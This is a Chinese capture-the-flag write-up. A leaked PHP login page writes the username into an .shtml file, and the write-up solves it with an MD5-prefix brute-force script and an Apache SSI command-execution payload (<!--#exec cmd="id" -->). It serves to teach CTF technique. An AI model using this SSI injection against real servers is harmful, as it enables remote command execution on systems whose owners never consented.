前言
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
题目
打开题目是个登录界面,尝试了一下注入好像不太行
扫一下目录发现有备份文件index.php.swp
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
随机生成一串sha值,再生成shtml文件,但需要password
md5加密后的值前6位为6d0bc1
,username的内容就能写入到文件中
Apache SSI 远程命令执行漏洞
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用语法执行命令。
使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。
那我们就可以用类似这<!--#exec cmd="id" -->
一条字符串来恶意执行命令
md5我们可以写脚本来跑
import hashlib
o="1234567890"
for a in o:
for b in o:
for c in o:
for d in o:
for e in o:
for f in o:
for g in o:
num=str(a)+str(b)+str(c)+str(d)+str(e)+str(f)+str(g)
md5=hashlib.md5(num.encode()).hexdigest()
if((md5[:6])=='6d0bc1'):
print num
附上一点有关脚本的知识点:
- hexdigest()返回摘要,作为十六进制数据字符串值 参考https://www.cnblogs.com/yrxns/p/7727471.html
- 有关
[:6]
可以去看这篇文章https://blog.csdn.net/gaofengyan/article/details/90697743
运行结果
跑出来后随便用一个就好
利用漏洞提交恶意字符,提交后访问shtml界面查看
看到flag文件
得到flag